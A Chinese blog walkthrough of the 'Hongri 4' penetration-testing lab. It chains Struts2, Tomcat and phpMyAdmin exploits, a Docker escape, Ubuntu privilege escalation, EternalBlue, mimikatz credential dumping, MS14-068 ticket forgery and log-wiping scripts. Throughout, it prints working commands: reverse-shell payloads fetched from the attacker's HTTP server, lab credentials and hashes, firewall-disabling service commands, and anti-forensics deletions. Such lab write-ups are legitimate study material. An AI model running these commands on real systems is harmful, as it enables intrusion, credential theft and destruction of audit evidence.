红日4

  • 概念图img

  • 直接开干

  • 先进入ubuntu启动web

  • 先开启3个环境img

  • 命令:

    • cd /home/ubuntu/Desktop/vulhub/struts2/s2-045

    • sudo docker-compose up -d

    • cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/

    • sudo docker-compose up -d

    • cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/

    • sudo docker-compose up -d

  • 开始

  • 一、信息收集

    • nmap扫描发现目标主机

      • nmap -sS -T4 192.168.1.0/24 img

      • 发现目标:192.168.1.10 除了22端口 2001-2003全是web服务

  • 二、web入侵

    • 1、Struts2框架漏洞Getshell

      • 先打开2001端口的webimg

      • 是一个上传界面

      • 我们先随便上传一个文件

      • 上传之后发现后缀是.action的img

      • 推测是struts2框架

      • 然后使用漏洞工具探测一波img

      • 发现存在漏洞 且可执行命令 用msf上线

      • 先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网

        • 命令:

          • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf

          • python -m SimpleHTTPServer 80

      • 然后目标远程下载 执行下载命令

      • 然后msf开启监听

        • 命令:

          • use exploit/multi/handler

          • set lhost 0.0.0.0

          • set lport 6666

          • set payload linux/x86/meterpreter/reverse_tcp

          • run

      • 然后在目标上执行shell.elf 先给权限img

      • 然后执行img

      • 然后kali 收到会话img

      • 发现是172开头的img

      • 怀疑是docker 先判断一波

      • 用命令 cat /proc/1/cgroupimg

      • 判断docker方法:

        • 1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv

        • 2、查看系统进程的cgroup信息 cat /proc/1/cgroup

      • 确定是在docker中 所以进行docker逃逸

    • 2、Tomcat任意文件上传(CVE-2017-12615)Getshell

      • 打开2002端口 是一个tomcat页面 版本是8.5.19imgimg

      • 尝试put方法拿shellimg

      • 冰蝎连接img

      • 成功getshell

    • 3、PhPMyadmin CVE-2018-12613 Getshell

      • 访问2003端口 是一个phpmyadminimg

      • 尝试日志文件Getshell

        • 尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了img

        • 利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在

        • 成功包含,存在此漏洞

        • 漏洞利用

          • 1.利用SQL查询查询 select ‘‘,将查询后的网页cookie

          • phpmyadmin:f29ab8338e5bebece0edf526c14416c4记录

          • 2.包含Php-session文件getshell

          • img

  • 三、Docker逃逸

    • 利用fdisk -l 查看挂载盘img

    • sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上

    • mkdir shell

    • mount /dev/sda1 shell

    • 挂载成功,我们此时可以查看、修改宿主机的某些文件了。img

    • 写入ssh密钥进行docker逃逸

      • 先在kali中生成密钥 创建一个key文件imgimg

      • 然后将密钥复制

      • 然后写入目标的.ssh目录下img

      • 命令:

        • cp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keys

        • echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali’ > /hack/home/ubuntu/.ssh/authorized_keys

        • cat /hack/home/ubuntu/.ssh/authorized_keys

      • 然后用kali连接ubuntu

        • 这里要注意连接的时候需要根据生成key时候的名字 hackimg
    • ubuntu提权

      • 先查看版本img

      • 根据志哥的wp 发现有一个新的exp可以提权 CVE-2021-3493

      • EXP下载地址:https://github.com/briskets/CVE-2021-3493

      • 影响版本

        • Ubuntu 20.10

        • Ubuntu 20.04 LTS

        • Ubuntu 18.04 LTS

        • Ubuntu 16.04 LTS

        • Ubuntu 14.04 ESM

      • 编译并上传到服务器exp

        • gcc exploit -o exp

        • python3 -m http.server 80

        • chmod 777 exp

        • ./exp 失败…推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用 img

        • http://192.168.1.11:80/exploit.cimg

        • gcc exploit.c -o exp

        • ./exp img

        • 然后重新弹一个root的shell回去img

  • 四、内网横向

    • 发现路由img

    • 添加路由 命令:run autoroute -s 192.168.183.0/24img

    • 开启socks代理

      • use auxiliary/server/socks_proxy

      • set srvhost 192.168.1.11

      • set version 4a socks版本

      • run

    • 信息收集 探测存存活主机

      • use auxiliary/scanner/smb/smb_version

      • set rhosts 192.168.183.0/24

      • set timestampoutput 5 设置最大超时时间为5s

      • 发现两个存活主机 以及域名demoimg

    • 探测主机存活端口

      • use auxiliary/scanner/portscan/tcp

      • set ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131 #探测两台服务器

      • 130开了53 135 445img

      • 131开了135 445img

      • 因为都开 了135 445 用永恒之蓝扫一波

    • 永恒之蓝

      • use auxiliary/scanner/smb/smb_ms17_010

      • set payload windows/x64/meterpreter/bind_tcp

      • set rhosts 192.168.183.130-131

      • runimg

      • 看样子两台都可能有 先打131

        • 这里图贴错了 不影响
      • 拿下131img

      • 开始域内信息收集:img

      • 但执行域内信息收集的时候出现问题 一直报错img

      • 通过问志哥发现 说是当前用户不在域内 换一个用户收集

      • 通过systeminfo发现当前是pc机 还有一个机器应该就是域控img

      • 先进行进程迁移到一个域用户imgimg

      • 迁移成功

      • 现在就能成功进行相关的域信息收集img

      • 找到域控机器img

      • ip 192.168.183.130

      • DC机器名:WIN-ENS2VR5TR3N.demo.com

      • 域管用户 administrator

      • 域用户sid

        • demo\douser S-1-5-21-979886063-1111900045-1414766810-1107
      • 切换回高权限 然后用kiwi抓取密码img

      • 抓取到了域用户的明文密码和hash 但是没有抓到域管的

        • douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55
      • 使用smb连接了 但是无法执行命令img

      • 所以利用ms14-068域内漫游

      • 切换到域用户然后上传exe

      • 然后执行 利用ms14-068生成票据: ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 img

      • ​ 然后利用mimiaktz将凭据导入内存img

      • 这里需要先清除目标的凭据

        • mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

        • mimikatz # kerberos::list //查看当前机器凭证

        • mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中

      • mimikatz # kerberos::ptc TGT_douser@demo.com.ccache

      • 然后dir \WIN-ENS2VR5TR3N.demo.com\c$img

      • 凭据生效

    • 漫游DC

      • 先生成一个正向的shell 上传到pc win7上 然后copy到dc上imgimg

      • 关闭dc防火墙

      • sc \WIN-ENS2VR5TR3N create unablefirewall binpath= “netsh advfirewall set allprofiles state off”

      • sc \WIN-ENS2VR5TR3N start unablefirewallimg

      • 然后将bind.exe传到dcimg

      • msf创建监听img

      • 创建服务执行msf马:

      • 不知道是我的操作问题 还是环境问题 我一直出毛病

      • 最后始终连不上 imgimg

      • 后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了

  • 五、痕迹清理

    • Linux

      • 清除命令历史记录

      • histroy -r #删除当前会话历史记录

      • history -c #删除内存中的所有命令历史

      • rm .bash_history #删除历史文件中的内容

      • HISTZISE=0 #通过设置历史命令条数来清除所有历史记录

      • 在隐蔽的位置执行命令

      • 使用vim打开文件执行命令

      • :set history=0

      • :!command

      • linux日志文件

      • /var/run/utmp 记录现在登入的用户

      • /var/log/wtmp 记录用户所有的登入和登出

      • /var/log/lastlog 记录每一个用户最后登入时间

      • /var/log/btmp 记录错误的登入尝试

      • /var/log/auth.log 需要身份确认的操作

      • /var/log/secure 记录安全相关的日志信息

      • /var/log/maillog 记录邮件相关的日志信息

      • /var/log/message 记录系统启动后的信息和错误日志

      • /var/log/cron 记录定时任务相关的日志信息

      • /var/log/spooler 记录UUCP和news设备相关的日志信息

      • /var/log/boot.log 记录守护进程启动和停止相关的日志消息

      • 完全删除日志文件:

      • cat /dev/null > filename

      • : > filename

      • > filename

      • echo “” > filename

      • echo > filename

      • 针对性删除日志文件:

      • 删除当天日志

      • sed -i ‘/当天日期/‘d filename

      • 一键清除脚本:

      • #!/usr/bin/bash

      • echo > /var/log/syslog

      • echo > /var/log/messages

      • echo > /var/log/httpd/access_log

      • echo > /var/log/httpd/error_log

      • echo > /var/log/xferlog

      • echo > /var/log/secure

      • echo > /var/log/auth.log

      • echo > /var/log/user.log

      • echo > /var/log/wtmp

      • echo > /var/log/lastlog

      • echo > /var/log/btmp

      • echo > /var/run/utmp

      • rm ~/./bash_history

      • history -c

    • Windows

      • 1.查看事件日志run event_manager -i

      • 2.删除事件日志run event_manager -c

      • 3.clearv命令清除目标系统的事件日志。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!